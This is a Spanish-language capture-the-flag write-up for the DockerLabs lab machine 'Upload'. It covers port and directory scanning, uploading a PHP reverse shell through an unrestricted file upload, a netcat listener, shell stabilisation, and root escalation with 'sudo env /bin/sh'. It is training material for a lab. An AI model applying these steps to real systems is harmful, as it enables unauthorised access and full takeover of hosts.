miguel@home:~$

Upload - DockerLabs

OS Dificultad Creator
Linux Fácil El Pingüino de Mario

Reconocimiento

Comenzamos el proceso de reconocimiento identificando los puertos abiertos en el sistema objetivo.

sudo nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 172.17.0.2 -oG ports 
  • -p-: Escanea todos los puertos (1-65535).
  • --open: Solo muestra los puertos abiertos.
  • -sS: Realiza un escaneo SYN, que es rápido y discreto.
  • --min-rate=5000: Envía al menos 5000 paquetes por segundo, acelerando el escaneo.
  • -n: No realiza resolución DNS.
  • -Pn: No realiza ping previo para determinar si el host está activo.
  • -vvv: Muestra resultados detallados y en tiempo real.

image

Durante el escaneo, descubrimos que los siguientes puertos están activos:

  • 80 (HTTP) A continuación, evaluamos si los puertos abiertos presentan alguna vulnerabilidad, además de obtener más información sobre los servicios asociados a esos puertos.
    nmap -p80 -sCV 172.17.0.2 -oG targeted
    

    image

Exploración Web

Al analizar el puerto 80, encontramos una página de subida de archivos.

image

Utilizamos Gobuster para realizar un reconocimiento web y explorar los directorios disponibles en el sitio.

gobuster dir -u http://172.17.0.2 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,doc,html,txt,img
  • gobuster dir - Indica que estás utilizando la herramienta Gobuster para realizar un escaneo de directorios.
  • -u http://172.17.0.2/ Especifica la URL objetivo que deseas escanear en busca de directorios.
  • -w Especifica que diccionario queremos usar
  • -x Para indicar que tipo de extension queremos que nos encuentre

image

Identificamos la ruta /uploads, donde se almacenarán los archivos que subamos. Aprovechamos esta función para cargar una reverse shell en PHP.

Reverse Shell

Creamos un archivo shell.php y cargamos una reverse shell usando la herramienta Reverseshell de Pentest Monkey para crear una shell en PHP. La reverse shell se encuentra disponible en:

image

Una vez subido el archivo, accedemos a la ruta /uploads y ejecutamos la shell.

No salta un mensaje de que se ha subido el archivo accedmos a la ruta /uploads y lo ejecutamos

image

Simultáneamente, iniciamos netcat en nuestro sistema para escuchar conexiones entrantes:

nc -lvnp 4444

Al acceder a la reverse shell desde el navegador, logramos obtener acceso como www-data.

image

Logramos acceso como www-data.

image

TTY ReverseShell

Iniciar una sesión de shell interactiva

En nuestra shell básica, ejecutamos el siguiente comando para forzar la creación de una sesión de bash interactiva:

script /dev/null -c bash

Suspender la shell

Una vez que el comando anterior está en ejecución, utilizamos

Control+Z

para suspender temporalmente nuestra shell.

Preparar nuestro terminal local:

Antes de volver a nuestra shell, configuramos nuestro terminal local:

stty raw -echo; fg

Resetear la configuración del terminal

Ahora que tenemos el control de la shell, la reseteamos para asegurar que se comporta correctamente:

reset

Configura el tipo de terminal:

xterm
export TERM=xterm
export SHELL=bash

Escalada de privilegios

Al ejecutar sudo -l, notamos que tiene permisos para ejecutar env como root.Utilizando GTFOBins sabemos cómo explotar estos binarios.

image

Ejecutamos el siguiente comando para elevar privilegios:

sudo /usr/bin/env /bin/sh

Ya somos root.

image